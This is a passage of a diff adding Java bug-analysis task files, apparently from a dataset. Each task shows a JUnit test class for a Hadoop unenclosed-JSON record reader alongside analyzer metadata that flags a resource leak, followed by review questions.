+		Assert.assertArrayEquals(new int[] {4,5,6}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 181, 289)));
+		Assert.assertArrayEquals(new int[] { 8 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 336, 400)));  // 7|{}"
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 14, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 22, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 23, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 24, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 25, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 44, 68)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 44, 69)));
+	}
+
+	@Test
+	public void TestEscQuoteLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 25, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 44, 140)));
+	}
+
+	@Test
+	public void TestEscAposLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 26, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 43, 140)));
+	}
+
+	@Test
+	public void TestEscSlashLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 26, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 44, 140)));
+	}
+
+	@Test
+	public void TestEscCloseLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 25, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 44, 140)));
+	}
+
+	@Test
+	public void TestEscOpenLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 26, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 44, 140)));
+		Assert.assertArrayEquals(new int[] { 6 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 268, 280)));
+	}
+
+	@Test
+	public void TestEscPoints() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc-points.json", 0, 74), true));
+		Assert.assertArrayEquals(new int[] {0, 75}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc-points.json", 0, 76), true));
+		Assert.assertArrayEquals(new int[] {75, 146}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc-points.json", 70, 148), true));
+	}
+
+	// This tests some multi-byte characters in UTF-8.
+	// If implementing a byte-based approach instead of character-based,
+	// the test itself would probably have to be updated to byte-based offsets
+	@Test
+	public void TestCharacters() throws IOException {
+		//int[] recordBreaks = new int[] { 0, 42, 84, 126, 168, 210, ...};  // character-based offsets
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 0, 42), true));
+		Assert.assertArrayEquals(new int[] {0,42}, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 0, 43), true));
+		Assert.assertArrayEquals(new int[] { 42 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 38, 43), true));
+		Assert.assertArrayEquals(new int[] { 42 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 39, 43), true));
+		Assert.assertArrayEquals(new int[] {84,126,168}, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 43, 200), true));
+		Assert.assertArrayEquals(new int[] {210,252,294,336}, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 200, 400), true));
+	}
+
+	@Test
+	public void TestGeomFirst() throws IOException {
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-geom-first.json", 32, 54)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-geom-first.json", 48, 54)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-geom-first.json", 49, 54)));
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-geom-first.json", 0, 52), true));
+	}
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.InputStreamReader` acquired by call to `getReaderFor(...)` at line 110 is not released after line 110.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TestUnenclosedJsonRecordReader.TestComma()
+
+### Procedure Id:
+com.esri.json.hadoop.TestUnenclosedJsonRecordReader.TestComma():void.5706fa0a67d28aa9834ef8df1e43071e
+
+### File:
+json/src/test/java/com/esri/json/hadoop/TestUnenclosedJsonRecordReader.java
+
+### Key:
+TestUnenclosedJsonRecordReader.java|TestComma|RESOURCE_LEAK
+
+### Node Key:
+c2106dddcdd5e75135dca7f5366c581e
+
+### Hash:
+c0585043427805e06f64e75912ba7298
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8707/instruction.md b/inferredbugs-8707/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..6dab416004fac6a83e4bee525055f442d64d4395
--- /dev/null
+++ b/inferredbugs-8707/instruction.md
@@ -0,0 +1,302 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** spatial-framework-for-hadoop
+**Bug ID:** 65
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.esri.json.hadoop;
+
+import java.io.IOException;
+import java.util.LinkedList;
+import java.util.List;
+
+import org.apache.hadoop.fs.Path;
+import org.apache.hadoop.io.LongWritable;
+import org.apache.hadoop.io.Text;
+import org.apache.hadoop.mapred.FileSplit;
+import org.apache.hadoop.mapred.JobConf;
+import org.junit.Assert;
+import org.junit.Ignore;
+import org.junit.Test;
+
+public class TestUnenclosedJsonRecordReader {
+	private UnenclosedJsonRecordReader getReaderFor(String resource, int start, int end) throws IOException {
+		Path path = new Path(this.getClass().getResource(resource).getFile());
+		
+		JobConf conf = new JobConf();
+		
+		FileSplit split = new FileSplit(path, start, end - start, new String[0]);
+		
+		return new UnenclosedJsonRecordReader(split, conf);
+	}
+
+	int [] getRecordIndexesInReader(UnenclosedJsonRecordReader reader) throws IOException {
+		return getRecordIndexesInReader(reader, false);
+	}
+
+	int [] getRecordIndexesInReader(UnenclosedJsonRecordReader reader, boolean flag) throws IOException {
+		List<Integer> linesList = new LinkedList<Integer>();
+		
+		LongWritable key = reader.createKey();
+		Text value = reader.createValue();
+		
+		while (reader.next(key, value)) {
+			int line = flag ? (int)(key.get()) : value.toString().charAt(23) - '0';
+			linesList.add(line);
+			System.out.println(key.get() + " - " + value.toString());
+		}
+		
+		int [] lines = new int[linesList.size()];
+		for (int i=0;i<linesList.size();i++) {
+			lines[i] = linesList.get(i);
+		}
+		return lines;
+	}
+	
+	@Test
+	public void TestArbitrarySplitLocations() throws IOException {
+		
+		//int totalSize = 415;
+		
+		//int [] recordBreaks = new int[] { 0, 40, 80, 120, 160, 200, 240, 280, 320, 372 };
+	
+		
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 40)));
+		Assert.assertArrayEquals(new int[] { 0, 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 41)));
+		Assert.assertArrayEquals(new int[] { 0, 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 42)));
+		Assert.assertArrayEquals(new int[] { 1, 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 39, 123)));
+		
+		Assert.assertArrayEquals(new int[] { 1, 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 20, 123)));
+		Assert.assertArrayEquals(new int[] { 1, 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 40, 123)));
+		Assert.assertArrayEquals(new int[] { 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 41, 123)));
+		Assert.assertArrayEquals(new int[] { 6, 7, 8 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 240, 340)));
+		Assert.assertArrayEquals(new int[] { 9 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 353, 415)));
+		Assert.assertArrayEquals(new int[] { 9 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 354, 415)));
+		Assert.assertArrayEquals(new int[] { 9 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 355, 415)));
+	}
+
+	@Test
+	public void TestEachOnce() throws IOException {
+		//Each record exactly once - see commit b8f6d6dfaf11cce7d8cba54e6011e8684ade0e85, issue #68
+		Assert.assertArrayEquals(new int[] { 0, 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 63)));
+		Assert.assertArrayEquals(new int[] { 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 63, 121)));
+		Assert.assertArrayEquals(new int[] { 4 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 121, 187)));
+		Assert.assertArrayEquals(new int[] { 5, 6 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 187, 264)));
+		Assert.assertArrayEquals(new int[] { 7, 8 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 264, 352)));
+		Assert.assertArrayEquals(new int[] { 9 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 352, 412)));
+
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 23)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 23, 41)));
+		// Assert.assertArrayEquals(new int[] { 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 41, 123)));
+	}
+
+	@Test
+	public void TestWhitespace() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 57, 111, ,  };
+		int[] rslt = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 0, 222), true);
+		Assert.assertEquals(4, rslt.length);
+		int[] before = null, after = null;
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 0, 56), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 56, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 0, 57), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 57, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 0, 58), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 58, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+	}
+
+	@Ignore  // May not be guaranteed behavior
+	public void TestComma() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 57, 111, ,  };
+		int[] rslt = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 0, 222), true);
+		Assert.assertEquals(4, rslt.length);
+		int[] before = null, after = null;
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 0, 56), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 56, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 0, 57), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 57, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 0, 58), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 58, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+	}
+
+	@Test
+	public void TestEscape() throws IOException {  // Issue #68
+		//int [] recordBreaks = new int[] { 0, 44, 88, 137, 181, 229, 270, 311, 354 };  //length 395
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 43, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 44, 140)));
+		Assert.assertArrayEquals(new int[] {2, 3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 45, 140)));
+		Assert.assertArrayEquals(new int[] {4,5,6}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 181, 289)));
+		Assert.assertArrayEquals(new int[] { 8 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 336, 400)));  // 7|{}"
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 14, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 22, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 23, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 24, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 25, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 44, 68)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 44, 69)));
+	}
+
+	@Test
+	public void TestEscQuoteLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 25, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 44, 140)));
+	}
+
+	@Test
+	public void TestEscAposLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 26, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 43, 140)));
+	}
+
+	@Test
+	public void TestEscSlashLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 26, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 44, 140)));
+	}
+
+	@Test
+	public void TestEscCloseLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 25, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 44, 140)));
+	}
+
+	@Test
+	public void TestEscOpenLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 26, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 44, 140)));
+		Assert.assertArrayEquals(new int[] { 6 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 268, 280)));
+	}
+
+	@Test
+	public void TestEscPoints() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc-points.json", 0, 74), true));
+		Assert.assertArrayEquals(new int[] {0, 75}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc-points.json", 0, 76), true));
+		Assert.assertArrayEquals(new int[] {75, 146}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc-points.json", 70, 148), true));
+	}
+
+	// This tests some multi-byte characters in UTF-8.
+	// If implementing a byte-based approach instead of character-based,
+	// the test itself would probably have to be updated to byte-based offsets
+	@Test
+	public void TestCharacters() throws IOException {
+		//int[] recordBreaks = new int[] { 0, 42, 84, 126, 168, 210, ...};  // character-based offsets
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 0, 42), true));
+		Assert.assertArrayEquals(new int[] {0,42}, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 0, 43), true));
+		Assert.assertArrayEquals(new int[] { 42 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 38, 43), true));
+		Assert.assertArrayEquals(new int[] { 42 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 39, 43), true));
+		Assert.assertArrayEquals(new int[] {84,126,168}, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 43, 200), true));
+		Assert.assertArrayEquals(new int[] {210,252,294,336}, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 200, 400), true));
+	}
+
+	@Test
+	public void TestGeomFirst() throws IOException {
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-geom-first.json", 32, 54)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-geom-first.json", 48, 54)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-geom-first.json", 49, 54)));
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-geom-first.json", 0, 52), true));
+	}
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.InputStreamReader` acquired by call to `getReaderFor(...)` at line 181 is not released after line 181.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TestUnenclosedJsonRecordReader.TestEscCloseLast()
+
+### Procedure Id:
+com.esri.json.hadoop.TestUnenclosedJsonRecordReader.TestEscCloseLast():void.fc115bd42570f3180ba70c643c4d40cd
+
+### File:
+json/src/test/java/com/esri/json/hadoop/TestUnenclosedJsonRecordReader.java
+
+### Key:
+TestUnenclosedJsonRecordReader.java|TestEscCloseLast|RESOURCE_LEAK
+
+### Node Key:
+df0efd48083e294955bf88e2a7226f99
+
+### Hash:
+79a1448e48b4dfaba52e42cd03a9cce0
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8709/instruction.md b/inferredbugs-8709/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..16007c30a2c2e471cc264b377fa06d172e326b94
--- /dev/null
+++ b/inferredbugs-8709/instruction.md
@@ -0,0 +1,302 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** spatial-framework-for-hadoop
+**Bug ID:** 54
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.esri.json.hadoop;
+
+import java.io.IOException;
+import java.util.LinkedList;
+import java.util.List;
+
+import org.apache.hadoop.fs.Path;
+import org.apache.hadoop.io.LongWritable;
+import org.apache.hadoop.io.Text;
+import org.apache.hadoop.mapred.FileSplit;
+import org.apache.hadoop.mapred.JobConf;
+import org.junit.Assert;
+import org.junit.Ignore;
+import org.junit.Test;
+
+public class TestUnenclosedJsonRecordReader {
+	private UnenclosedJsonRecordReader getReaderFor(String resource, int start, int end) throws IOException {
+		Path path = new Path(this.getClass().getResource(resource).getFile());
+		
+		JobConf conf = new JobConf();
+		
+		FileSplit split = new FileSplit(path, start, end - start, new String[0]);
+		
+		return new UnenclosedJsonRecordReader(split, conf);
+	}
+
+	int [] getRecordIndexesInReader(UnenclosedJsonRecordReader reader) throws IOException {
+		return getRecordIndexesInReader(reader, false);
+	}
+
+	int [] getRecordIndexesInReader(UnenclosedJsonRecordReader reader, boolean flag) throws IOException {
+		List<Integer> linesList = new LinkedList<Integer>();
+		
+		LongWritable key = reader.createKey();
+		Text value = reader.createValue();
+		
+		while (reader.next(key, value)) {
+			int line = flag ? (int)(key.get()) : value.toString().charAt(23) - '0';
+			linesList.add(line);
+			System.out.println(key.get() + " - " + value.toString());
+		}
+		
+		int [] lines = new int[linesList.size()];
+		for (int i=0;i<linesList.size();i++) {
+			lines[i] = linesList.get(i);
+		}
+		return lines;
+	}
+	
+	@Test
+	public void TestArbitrarySplitLocations() throws IOException {
+		
+		//int totalSize = 415;
+		
+		//int [] recordBreaks = new int[] { 0, 40, 80, 120, 160, 200, 240, 280, 320, 372 };
+	
+		
